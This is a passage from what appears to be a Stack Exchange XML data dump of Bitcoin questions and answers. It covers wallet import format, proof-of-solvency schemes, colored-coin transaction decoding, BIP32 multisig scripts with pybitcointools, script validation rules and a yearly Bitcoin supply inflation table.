people's shares if they were found to be a sockpuppet of another person.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We are open to ideas and are obviously not experts in the matter, we would just like to find the most economical and safe approach to ensuring a few owners or shareholders couldn't turn Domogo into a profit for profit's sake corporation with a side effect of making it easy for those without birth certificates or similar paperwork to have access to the board.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Were it not for the requirement that long-term members gain a larger share in votes, I'd recommend Helios. As it is, I can't think of anything that will solve your problems out-of-the-box.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-24T07:26:31.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37068" PostTypeId="2" ParentId="37066" CreationDate="2015-04-24T08:16:27.260" Score="5" Body="&lt;p&gt;Sipa is the alias of Pieter Wuille, a Bitcoin Core developer. It just happens that he had a feature branch for the rpc command &lt;code&gt;importprivkey&lt;/code&gt;, and people just referred to it as the &quot;sipa&quot; format. It's just something that has hung around in vanitygen and a few places on the Bitcointalk forum, it's not in common use anywhere else. The format being talked about is just base58check encoding with a version prefix differentiating compressed and uncompressed point usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This format is today most commonly known as WIF (Wallet Import Format), and also the format used in the MultiBit classic export.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="5406" LastEditDate="2015-04-25T18:03:07.070" LastActivityDate="2015-04-25T18:03:07.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37070" PostTypeId="2" ParentId="37060" CreationDate="2015-04-24T08:54:04.723" Score="1" Body="&lt;p&gt;Greg Maxwell has described a way in which this is possible using a blind solvency proof, allowing users to verify that their amounts of Bitcoin are being stored by the system without revealing to an outsider what they are and how many users exist in the system. Clients of the service are able to individually prove their own balances in the tree and raise the alarm if they are not included or if the information is not correct, with the tree then becoming a proof of fraud. The scheme pointedly doesn't verify these funds exist and are spendable by the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://iwilcox.me.uk/2014/nofrac-orig&quot; rel=&quot;nofollow&quot;&gt;Details about the system have been collected from IRC quotes&lt;/a&gt;, and at least two implementations by &lt;a href=&quot;https://github.com/molecular/blind-solvency-proof&quot; rel=&quot;nofollow&quot;&gt;molecular&lt;/a&gt; and &lt;a href=&quot;https://github.com/olalonde/proof-of-solvency&quot; rel=&quot;nofollow&quot;&gt;olalonde&lt;/a&gt; exist on github. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While proving that one owns the required amount of coins is fairly easy&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One exchange, BitStamp has taken it upon themselves to try and create their own &quot;proof of reserves&quot; system by periodically (every few months) accumulating all of their Bitcoin holdings into a single output, in an attempt to prove tht they actually hold all the Bitcoin they should. This mirrors something Mt Gox did in 2011 by moving 424242 BTC at the request of users on IRC. In the process, BitStamp is putting themselves at huge risk of losses. Bit flips errors are pretty common in computers, if they have even a single one when signing that transaction all of their customers money will be destroyed. It reduces their customers privacy, opens them up being physically attacked during that period, all sorts of nastiness. It's not really a solved problem, though it looks simple on the outset.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="2306" LastEditDate="2015-04-26T23:04:13.567" LastActivityDate="2015-04-26T23:04:13.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37071" PostTypeId="2" ParentId="37055" CreationDate="2015-04-24T09:23:26.460" Score="0" Body="&lt;p&gt;Bitshares allows you to setup DACs pretty easily right in their linux client. Their get started page has the client download for win and macs too. bitshares.org&lt;/p&gt;&#xA;" OwnerUserId="20667" LastActivityDate="2015-04-24T09:23:26.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37072" PostTypeId="1" CreationDate="2015-04-24T10:57:52.917" Score="4" ViewCount="1522" Body="&lt;p&gt;Is it possible to send recurring bitcoin payments via the bitcoin protocol? Is there a service which provides an API to do so?&lt;/p&gt;&#xA;" OwnerUserId="25198" LastEditorUserId="5406" LastEditDate="2015-05-10T21:39:39.263" LastActivityDate="2020-12-03T17:43:10.050" Title="Who provides a Bitcoin recurring payments API?" Tags="|payment-processors|recurring-payments|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37075" PostTypeId="2" ParentId="30817" CreationDate="2015-04-24T17:15:46.143" Score="19" Body="&lt;p&gt;I found the best &lt;strong&gt;exact&lt;/strong&gt; definition in the First three paragraphs here: &lt;a href=&quot;https://gist.github.com/gavinandresen/2355445&quot;&gt;gavinandresen / BitcoinVersioning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We recently rolled out two changes to the Bitcoin block acceptance&#xA;  rules (BIP16 and BIP30); this document records the lessons learned and&#xA;  makes recommendations for handling future blockchain rule changes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note: there are &quot;soft&quot; rule changes and &quot;hard&quot; rule changes. &quot;Soft&quot;&#xA;  changes tighten up the rules-- old software will accept all the blocks&#xA;  and transactions created by new software, but the opposite may not be&#xA;  true. &quot;Soft&quot; changes do not require the entire network of miners and&#xA;  merchants and users to upgrade or be left behind.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;Hard&quot; changes modify the rules in a way that old, un-upgraded&#xA;  software consider illegal. At this point it is much, much more&#xA;  difficult (some might say impossible) to roll out &quot;hard&quot; changes,&#xA;  because they require every miner and merchant and user to upgrade.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="25204" LastEditorUserId="2306" LastEditDate="2015-04-24T17:29:34.717" LastActivityDate="2015-04-24T17:29:34.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37076" PostTypeId="1" AcceptedAnswerId="37083" CreationDate="2015-04-24T17:46:00.347" Score="1" ViewCount="109" Body="&lt;p&gt;I purchased a few MS (monetary system) coins and i want to move it to another account completely. I want that other account to also be able to reissue this coin with new settings too. How can this be done? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-04-19T11:23:28.397" Title="In NXT monetary system, how do you transfer the coins complete control to another account?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37077" PostTypeId="1" AcceptedAnswerId="37092" CreationDate="2015-04-24T17:48:22.070" Score="11" ViewCount="4760" Body="&lt;p&gt;What's the M0/MB inflation rate of Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm asking about multiple years in order to make this question less likely to go out of date.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2020-02-13T18:52:39.957" LastActivityDate="2022-08-10T15:38:09.840" Title="How much inflation does Bitcoin have, year by year?" Tags="|reward-schedule|inflation|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="37078" PostTypeId="1" CreationDate="2015-04-24T18:27:20.393" Score="1" ViewCount="271" Body="&lt;p&gt;In order to complete a transaction, some parameters should be provided.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such as transfer_quantity (provided in OP_RETURN), destination_address (provided in vout.scriptPubKey) &lt;br&gt;&#xA;I am wondering where &lt;b&gt;asset_id&lt;/b&gt; is in this raw transaction. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;hex&quot; : &quot; &quot;,&#xA;    &quot;txid&quot; : &quot;92fa631b034a9dbdab8bbd67b1d438242e84549de3a0c7852c917356db0da42b&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;d74f2f91229316a0224e8616ac485e3843452301db2883cd5f0efd53dafe80c9&quot;,&#xA;            &quot;vout&quot; : 2,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304402203693f5f888d340d6bc1f08e9e62bb819fd3f03d47f69e8c6fc16fd6beb289dfc02205f792edacf2e08017d0e08ecd779c8440cba5f780b5c9e5fa44fbfd9f790421101 03108ee20a69add838c56c2281150e2a7a6cce1aaa9c0a31216e36abb56eb10c07&quot;,&#xA;                &quot;hex&quot; : &quot;47304402203693f5f888d340d6bc1f08e9e62bb819fd3f03d47f69e8c6fc16fd6beb289dfc02205f792edacf2e08017d0e08ecd779c8440cba5f780b5c9e5fa44fbfd9f7904211012103108ee20a69add838c56c2281150e2a7a6cce1aaa9c0a31216e36abb56eb10c07&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        },&#xA;        {&#xA;            &quot;txid&quot; : &quot;d74f2f91229316a0224e8616ac485e3843452301db2883cd5f0efd53dafe80c9&quot;,&#xA;            &quot;vout&quot; : 3,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;30450221009e2a2c4136bb7527ec04eedb253e6e8c1b5e693e9ebd6411df96e5376630fd5002205eba1253da8fe1e7bac2a8d827d3a033476907ccf8819e70bbd5927dcfafd75001 03108ee20a69add838c56c2281150e2a7a6cce1aaa9c0a31216e36abb56eb10c07&quot;,&#xA;                &quot;hex&quot; : &quot;4830450221009e2a2c4136bb7527ec04eedb253e6e8c1b5e693e9ebd6411df96e5376630fd5002205eba1253da8fe1e7bac2a8d827d3a033476907ccf8819e70bbd5927dcfafd750012103108ee20a69add838c56c2281150e2a7a6cce1aaa9c0a31216e36abb56eb10c07&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_RETURN 4f41010002016f06753d32322631&quot;,&#xA;                &quot;hex&quot; : &quot;6a0e4f41010002016f06753d32322631&quot;,&#xA;                &quot;type&quot; : &quot;nulldata&quot;&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00000600,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 4f01b233dfae8ed822146e84f8ea20d6e488ca92 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9144f01b233dfae8ed822146e84f8ea20d6e488ca9288ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;18CkR17en5Tg5Tvs222ki69pr92asTq1W5&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00000600,&#xA;            &quot;n&quot; : 2,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 022ebb12c302459a5273161b992f7ee37b3c9ba3 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914022ebb12c302459a5273161b992f7ee37b3c9ba388ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1CYLJ29Atic2Mt8kFjd27NTXzzVDTZEJw&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 49.94656800,&#xA;            &quot;n&quot; : 3,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 022ebb12c302459a5273161b992f7ee37b3c9ba3 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914022ebb12c302459a5273161b992f7ee37b3c9ba388ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1CYLJ29Atic2Mt8kFjd27NTXzzVDTZEJw&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-05-29T11:42:41.763" Title="How can I interpret colored-coin raw transaction?" Tags="|colored-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37083" PostTypeId="2" ParentId="37076" CreationDate="2015-04-25T05:35:18.797" Score="1" Body="&lt;p&gt;The only way is to delete the coin in the old account using the API and for that you must possess all the coins. Then, create the coin in the new account.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2015-04-25T05:35:18.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37084" PostTypeId="2" ParentId="37078" CreationDate="2015-04-25T10:14:57.220" Score="1" Body="&lt;p&gt;The OP_RETURN in output=0 (1st position), we have the hex data &lt;code&gt;4f41010002016f06753d32322631&lt;/code&gt; which decodes to &lt;code&gt;OA\x01\x00\x02\x01o\x06u=22&amp;amp;1&lt;/code&gt; in Python, which seems right, since OA precedes open assets hex data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data for &lt;em&gt;asset id&lt;/em&gt; is in that hex code. Everything is. The other inputs are inconsequential. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the other outputs use 600 satoshis (฿ 0.00000600) is because it's just above the dust threshold. You can't send an OP_RETURN without valid outputs, or priority. The large balance (~฿49) is so the transactions get sufficient priority to be processed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going off &lt;a href=&quot;https://en.bitcoin.it/wiki/Colored_Coins#Open_Assets&quot; rel=&quot;nofollow&quot;&gt;Colored Coins @ BTC Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Data in the marker output      Description&#xA;&amp;gt; -----------------------------  -------------------------------------------------------------------&#xA;&amp;gt;  0x6a                           The OP_RETURN opcode.&#xA;&amp;gt;  0x10                           The marker output is 16 bytes long.&#xA;&amp;gt;  0x4f 0x41                      The Open Assets Protocol tag.&#xA;&amp;gt;  0x01 0x00                      Version 1 of the protocol.&#xA;&amp;gt;  0x03                           There are 3 items in the asset quantity list.&#xA;&amp;gt;  0xac 0x02 0x00 0xe5 0x8e 0x26  The asset quantity list:&#xA;&amp;gt;                                 - '0xac 0x02' means output 0 has an asset quantity of 300.&#xA;&amp;gt;                                 - Output 1 is skipped and has an asset quantity of 0 because it is the marker output.&#xA;&amp;gt;                                 - '0x00' means output 2 has an asset quantity of 0.&#xA;&amp;gt;                                 - '0xe5 0x8e 0x26' means output 3 has an asset quantity of 624,485.&#xA;&amp;gt;                                 - Outputs after output 3 (if any) have an asset quantity of 0.&#xA;&amp;gt;  0x04                           The metadata is 4 bytes long.&#xA;&amp;gt;  0x12 0x34 0x56 0x78            Some arbitrary metadata.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see an &lt;em&gt;asset_id&lt;/em&gt; parameter, so perhaps you can clarify that point. Are you sure it's &lt;em&gt;Colored Coins&lt;/em&gt;? (ie could it be a specific implementation like &lt;a href=&quot;http://coinspark.org/&quot; rel=&quot;nofollow&quot;&gt;CoinSpark&lt;/a&gt;?)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-29T11:04:29.480" LastActivityDate="2015-04-29T11:04:29.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37086" PostTypeId="1" AcceptedAnswerId="37097" CreationDate="2015-04-25T15:00:55.977" Score="0" ViewCount="219" Body="&lt;p&gt;For sometime I am using this java API &lt;a href=&quot;http://xeiam.com/xchange/&quot; rel=&quot;nofollow&quot;&gt;http://xeiam.com/xchange/&lt;/a&gt; for building bitcoin trading robots. Today I got a bit stuck and I wanted to see if somebody had the same issue before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I call the order books like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OrderBook orderBook = exchangeMarket.getExchange().getPollingMarketDataService().&#xA;                                getOrderBook(CurrencyPair.LTC_BTC, new int[] {20});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that the orderBook object contains 100 asks and 100 bids. I just want 20. Does anybody know why this is not returning the amount I pass in the second parameter? BTW, if I try 150, it also returns 100. I don't know how to modify the amount of returned elements.&lt;/p&gt;&#xA;" OwnerUserId="15153" LastEditorUserId="2306" LastEditDate="2015-04-25T18:46:48.727" LastActivityDate="2015-06-25T19:44:37.333" Title="Xemian Xchange Api for Java, returning a default of 100 market orders" Tags="|bitcoind|api|java|exchange-order|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37087" PostTypeId="2" ParentId="36919" CreationDate="2015-04-25T15:14:24.940" Score="1" Body="&lt;p&gt;OK, I got it working with &lt;em&gt;pybitcointools&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command, &lt;code&gt;bip32_hdm_script&lt;/code&gt;, as one can infer, returns hex of the P2SH redeemscript using the specified BIP32 master public/private keys (which is no different to using &lt;code&gt;mk_multisig_script(pubkey1 pubkey2 pubkey3 2)&lt;/code&gt; for a 2-of-3 P2SH). Likewise, &lt;code&gt;bip32_hdm_addr&lt;/code&gt; returns the P2SH address one gets from the redeemscript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The catch is we're dealing with paths and such, and the function has issues with object types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's use master private keys seeded with 0,1 and 2, respectively... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b32mprivkeys = [ bip32_master_key(str(x)) for x in range(3)]&lt;/code&gt;&#xA;gives &lt;code&gt;['xprv9s21ZrQH143K2FsoUgfptxnkXbTjWSyu7oPKz2BtJm5yWC8pZMtxbx66FhZoY2e6Fwz2rZ4zPZrgpNJHRd68RtQNcFFVbwGf7Vapo4spoqL',&#xA; 'xprv9s21ZrQH143K2r9LvVthYjmsCLwZGpAc4uAAeovjhf7vaAbiunLgRdp8DAo4fSGUMuYQzzGfNGkdsR9xq6vcaKQSTa2VQx7o31N3kxcZi9k',&#xA; 'xprv9s21ZrQH143K2AV64RkNhLQEHTphnaGZqrGBhXTw9gBTMfvDAPiKFWpkBmt9otxA2X14bRS6mPdxohX4QCP3PMi8TG7KvCriGcsQHwDHVfT']&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Signing with master private keys won't work directly&lt;/strong&gt;, let's get the master pubkeys:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b32mpubs = map(bip32_privtopub, b32mprivs)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in this example, we want to descend to path &lt;code&gt;0/1&lt;/code&gt;, in a 2-of-3 multisig. This is represented by an &lt;em&gt;int&lt;/em&gt;, &lt;code&gt;2&lt;/code&gt;, and a &lt;strong&gt;tuple&lt;/strong&gt; (only!) of the path, so &lt;code&gt;(0, 1)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;redeemscript = bip32_hdm_script(b32mpubss, 2, (0, 1)) = 5221029057ffd5c48f95c46c5e12b837cd0e4a7538dfa8ab9eb3479593724a6109ffb4210316776496822873767c6a91efe85a55871fc4a944c1d1ccab52cebd386cef29d4210318ae5429f67dbf61f54ae947f38637f4bffa1e252922b431eeed397cac49a22953ae&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we use &lt;code&gt;bip32_hdm_addr&lt;/code&gt; to get the P2SH address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bip32_hdm_addr(redeemscript)&#xA;5221029057ffd5c48f95c46c5e12b837cd0e4a7538dfa8ab9eb3479593724a6109ffb4210316776496822873767c6a91efe85a55871fc4a944c1d1ccab52cebd386cef29d4210318ae5429f67dbf61f54ae947f38637f4bffa1e252922b431eeed397cac49a22953ae&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, FWIW, &#xA;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bip32_hdm_addr(redeemscript) == scriptaddr(redeemscript)&#xA;     True&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;AGAIN: &lt;strong&gt;Do not try signing with master private keys&lt;/strong&gt; using &lt;code&gt;bip32_hdm_script&lt;/code&gt;, lest you return a redeemscript, which when deserialised, gives:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;slice(            # we want the privkeys only&#xA;       deserialize_script(bip32_hdm_script(b32mprivkeys, 2, (0, 1))), &#xA;       1, 4)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how the keys from the redeemscript are 33 bytes long? And don't start with 02/03/04? That'll make an &lt;strong&gt;unusable&lt;/strong&gt; P2SH address, so beware this pitfall!&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-25T15:14:24.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37088" PostTypeId="1" AcceptedAnswerId="37089" CreationDate="2015-04-25T18:39:21.633" Score="2" ViewCount="359" Body="&lt;p&gt;If at the middle of the execution of scriptSig + scriptPubKey we get the value 'True', while there are remaining values or operators in the stack, is the transaction valid? Or should the stack be empty + top result is 'True' ?&#xA;I believe it is not because someone can just send unlocking script with the 'OP_TRUE' and cause any UTXO to be unlocked. &lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="2306" LastEditDate="2015-04-25T22:02:13.347" LastActivityDate="2015-06-30T07:24:33.493" Title="Does value 'True' at the middle of stack is valid transaction?" Tags="|script|transaction-verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37089" PostTypeId="2" ParentId="37088" CreationDate="2015-04-25T20:06:34.723" Score="7" Body="&lt;p&gt;Contrary to the book Mastering Bitcoin, there is no boolean value of &quot;True&quot; in Bitcoin Script. An executed transaction script is valid when the top item remaining in the stack at the conclusion of execution is non-zero. To combat transaction malleability &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP62&lt;/a&gt; (transaction version 3) also introduces the additional validity requirement that the stack must contain no additional data elements, only the single non-zero value.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-30T07:24:33.493" LastActivityDate="2015-06-30T07:24:33.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37090" PostTypeId="2" ParentId="37088" CreationDate="2015-04-25T21:27:43.350" Score="3" Body="&lt;p&gt;I suspect you may have a misconception over how the script is executed, and what the stack contains during execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, remember that the full script is created by adding the two partial scripts together in this order: scriptSig + scriptPubKey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each element of the full script is either a value which is pushed onto the stack, or an operation which examines and/or manipulates the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A valid script is executed left to right until either the end is reached, or an operation indicates a failure. If the script completes without any operation indicating an early failure, then the top of the stack (alone) indicates the failure/success. As user &lt;a href=&quot;https://bitcoin.stackexchange.com/users/24925/bitcoin&quot;&gt;Bitcoin&lt;/a&gt; has already said, any non-zero value is considered a success, and any items beneath the stack's top are (currently) ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone tried to create a tx whose scriptSig was simply OP_TRUE, the entire script would typically look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_TRUE OP_DUP OP_HASH160 &amp;lt;PubkeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first script step pushes &lt;code&gt;1&lt;/code&gt; onto the stack, next it's duplicated, and then the duplicate on top is hashed. After executing these first three script instructions, you'd have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack:&#xA;HASH160(1)  &amp;lt;-- stack top&#xA;1&#xA;&#xA;Remaining (unexecuted) script: &amp;lt;PubkeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next &lt;code&gt;&amp;lt;PubkeyHash&amp;gt;&lt;/code&gt; is pushed onto the stack, and then the two top elements (&lt;code&gt;&amp;lt;PubkeyHash&amp;gt;&lt;/code&gt; and &lt;code&gt;HASH160(1)&lt;/code&gt;) are compared, which causes the script to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, because scriptPubKey is added &lt;em&gt;after&lt;/em&gt; scriptSig, scriptSig has no way to &quot;override&quot; what scriptPubKey tells the script interpreter to eventually execute. (There's no such instruction as &quot;exit immediately with success&quot; that scriptSig could include.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, user &lt;a href=&quot;https://bitcoin.stackexchange.com/users/24925/bitcoin&quot;&gt;Bitcoin&lt;/a&gt; also mentioned that BIP62 changes the &quot;in the end, ignore everything but the top of the stack&quot; rule. This will probably be true one day (and would make no difference in this example anyways), however as of today the rules in BIP62 haven't yet been implemented (except for the one also mentioned in BIP66).&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-04-25T21:33:12.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37092" PostTypeId="2" ParentId="37077" CreationDate="2015-04-26T11:05:52.407" Score="18" Body="&lt;pre&gt;&lt;code&gt;Year   #blocks    #bitcoins       Supply inflation per annum&#xA;2009    32,489    1,624,450          -&#xA;-----------------------------------------------------------------&#xA;2010    67,920    5,020,450        209.1%&#xA;2011    59,627    8,001,800         59.4%&#xA;2012    54,526   10,614,025         32.7%  (halvening Nov 28)&#xA;2013    63,433   12,199,850         14.9%&#xA;2014    58,865   13,671,475         12.1%&#xA;-----------------------------------------------------------------&#xA;2015    54,321   15,029,500          9.9%&#xA;2016    54,851   16,075,362.5        7.0%  (halvening Jul 9th)&#xA;2017    55,928   16,774,462.5        4.4%&#xA;2018    54,498   17,455,687.5        4.1%&#xA;2019    54,232   18,133,587.5        3.9%&#xA;-----------------------------------------------------------------&#xA;2020    53,222   18,586,906          2.5%  (halvening May 11th)&#xA;2021    52,686   18,916,194          1.8%&#xA;–––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––&#xA;2022             19,244,944          1.7%  (estimate)&#xA;2023             19,573,694          1.7%  (estimate)&#xA;2024             19,794,947          1.1%  (estimate, halvening)&#xA;-----------------------------------------------------------------&#xA;2025             19,959,322          0.8%  (estimate)&#xA;2026             20,123,697          0.8%  (estimate)&#xA;2027             20,288,072          0.8%  (estimate)&#xA;2028             20,398,073          0.5%  (estimate, halvening)&#xA;2029             20,480,261          0.4%  (estimate)&#xA;-----------------------------------------------------------------&#xA;2030             20,562,448          0.4%  (estimate)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the past years, I have calculated the amount of bitcoins created from first block to last block per year. The numbers starting from 2022 are estimates based on the &lt;strong&gt;assumption that we will add 52,600 blocks per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Update 2017:&lt;br /&gt;&#xA;It turns out that 2016 had 55,184 blocks (or an average block interval of 9.51 minutes), so with 54,000 blocks I had underestimated by 1,184 blocks. Thus, inflation rates might be slightly bigger than the estimate provided here, if that interval remains accurate. New estimates were still calculated with 54,000 blocks per year.&lt;/p&gt;&#xA;&lt;p&gt;Update 2020:&lt;br /&gt;&#xA;2017 had 55,928 blocks, 2018 had 54,498 blocks, and 2019 had 54,232 blocks. Seems like we're actually finally getting closer to the 54,000 estimate, so I continue to use that for the estimate of the future years.&lt;/p&gt;&#xA;&lt;p&gt;Update 2021:&lt;br /&gt;&#xA;2020 had 53,222 blocks. So, I've updated future estimates assuming 53,200 blocks per year.&lt;/p&gt;&#xA;&lt;p&gt;Update 2022:&lt;br /&gt;&#xA;Added 2021 and blocks column. Realized that 2015-Murch had wrong numbers for 2012/2013 and corrected the whole table. Future estimates assume 52,600 blocks per year (we were very close to 10 minute blocks in 2021).&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-08-10T15:38:09.840" LastActivityDate="2022-08-10T15:38:09.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
